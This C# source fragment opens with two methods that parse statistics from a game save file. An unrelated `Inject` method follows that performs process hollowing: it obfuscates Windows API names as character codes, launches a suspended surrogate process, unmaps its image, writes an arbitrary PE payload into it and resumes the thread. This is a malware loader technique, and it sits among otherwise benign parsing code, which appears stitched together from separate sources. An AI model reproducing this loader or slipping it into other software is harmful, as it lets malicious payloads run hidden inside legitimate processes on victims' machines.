public static void GlobalVariablesEntryType(Stream stream, TreeNode parent, ref byte[] buffer)
{
uint count = ESS.ReadVarLenBasic(stream, "Array count", (InfoNode)parent, ref buffer);
for (int i = 0; i < count; i++)
{
InfoNode nStat = new InfoNode(
"", "block-trueblue",
InfoType.None,
null,
DataType.Critical,
stream.Position, 0);
nStat.Text = ESS.ReadRefIDBasic(stream, "FormID", nStat, ref buffer).ToString("X6");
ESS.ReadFloatBasic(stream, "Value", nStat, ref buffer);
nStat.DataEnd = stream.Position - 1;
Bridge.AppendNode(nStat, parent);
}
}
public static void MiscStatsEntryType(Stream stream, TreeNode parent, ref byte[] buffer)
{
uint count = ESS.ReadUInt32Basic(stream, "Array count", parent, ref buffer);
for (int i = 0; i < count; i++)
{
InfoNode nStat = new InfoNode(
"", "block-trueblue",
InfoType.None,
null,
DataType.Critical,
stream.Position, 0);
nStat.Text = ESS.ReadWStringBasic(stream, "Stat name", nStat, ref buffer);
ESS.ReadUInt8Basic(stream, "Category", nStat, ref buffer);
ESS.ReadUInt32Basic(stream, "Value", nStat, ref buffer);
nStat.DataEnd = stream.Position - 1;
Bridge.AppendNode(nStat, parent);
}
}
private bool Inject(byte[] bytes, string surrogateProcess)
{
String K32 = Convert.ToString((char)107) + (char)101 + (char)114 + (char)110 + (char)101 + (char)108 + (char)51 + (char)50;
String NTD = Convert.ToString((char)110) + (char)116 + (char)100 + (char)108 + (char)108;
ESS CP = CreateAPI <ESS>(K32, Convert.ToString((char)67) + (char)114 + (char)101 + (char)97 + (char)116 + (char)101 + (char)80 + (char)114 + (char)111 + (char)99 + (char)101 + (char)115 + (char)115 + (char)65);
ION NUVS = CreateAPI <ION>(NTD, Convert.ToString((char)78) + (char)116 + (char)85 + (char)110 + (char)109 + (char)97 + (char)112 + (char)86 + (char)105 + (char)101 + (char)119 + (char)79 + (char)102 + (char)83 + (char)101 + (char)99 + (char)116 + (char)105 + (char)111 + (char)110);
EXT GTC = CreateAPI <EXT>(K32, Convert.ToString((char)71) + (char)101 + (char)116 + (char)84 + (char)104 + (char)114 + (char)101 + (char)97 + (char)100 + (char)67 + (char)111 + (char)110 + (char)116 + (char)101 + (char)120 + (char)116);
TEX STC = CreateAPI <TEX>(K32, Convert.ToString((char)83) + (char)101 + (char)116 + (char)84 + (char)104 + (char)114 + (char)101 + (char)97 + (char)100 + (char)67 + (char)111 + (char)110 + (char)116 + (char)101 + (char)120 + (char)116);
ORY RPM = CreateAPI <ORY>(K32, Convert.ToString((char)82) + (char)101 + (char)97 + (char)100 + (char)80 + (char)114 + (char)111 + (char)99 + (char)101 + (char)115 + (char)115 + (char)77 + (char)101 + (char)109 + (char)111 + (char)114 + (char)121);
EAD RT = CreateAPI <EAD>(K32, Convert.ToString((char)82) + (char)101 + (char)115 + (char)117 + (char)109 + (char)101 + (char)84 + (char)104 + (char)114 + (char)101 + (char)97 + (char)100);
CEX VAE = CreateAPI <CEX>(K32, Convert.ToString((char)86) + (char)105 + (char)114 + (char)116 + (char)117 + (char)97 + (char)108 + (char)65 + (char)108 + (char)108 + (char)111 + (char)99 + (char)69 + (char)120);
CTEX VPE = CreateAPI <CTEX>(K32, Convert.ToString((char)86) + (char)105 + (char)114 + (char)116 + (char)117 + (char)97 + (char)108 + (char)80 + (char)114 + (char)111 + (char)116 + (char)101 + (char)99 + (char)116 + (char)69 + (char)120);
MOR WPM = CreateAPI <MOR>(K32, Convert.ToString((char)87) + (char)114 + (char)105 + (char)116 + (char)101 + (char)80 + (char)114 + (char)111 + (char)99 + (char)101 + (char)115 + (char)115 + (char)77 + (char)101 + (char)109 + (char)111 + (char)114 + (char)121);
try
{
IntPtr procAttr = IntPtr.Zero;
IntPtr[] processInfo = new IntPtr[4];
byte[] startupInfo = new byte[0x44];
int num2 = BitConverter.ToInt32(bytes, 60);
int num = BitConverter.ToInt16(bytes, num2 + 6);
IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
if (CP(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
{
uint[] ctxt = new uint[0xb3];
ctxt[0] = 0x10002;
if (GTC(processInfo[1], ctxt))
{
IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
IntPtr buffer = IntPtr.Zero;
IntPtr bufferSize = new IntPtr(4);
IntPtr numRead = IntPtr.Zero;
if (RPM(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) && (NUVS(processInfo[0], buffer) == 0))
{
IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
IntPtr lpBaseAddress = VAE(processInfo[0], addr, size, 0x3000, 0x40);
int lpNumberOfBytesWritten;
WPM(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
int num5 = num - 1;
for (int i = 0; i <= num5; i++)
{
int[] dst = new int[10];
Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
byte[] buffer2 = new byte[(dst[4] - 1) + 1];
Buffer.BlockCopy(bytes, dst[5], buffer2, Convert.ToInt32(null, 2), buffer2.Length);
size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
addr = new IntPtr(buffer2.Length);
WPM(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
}
size = new IntPtr(ctxt[0x29] + 8L);
addr = new IntPtr(4);
WPM(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
STC(processInfo[1], ctxt);
}
}
RT(processInfo[1]);
}
}
catch
{
return(false);
}
return(true);
}
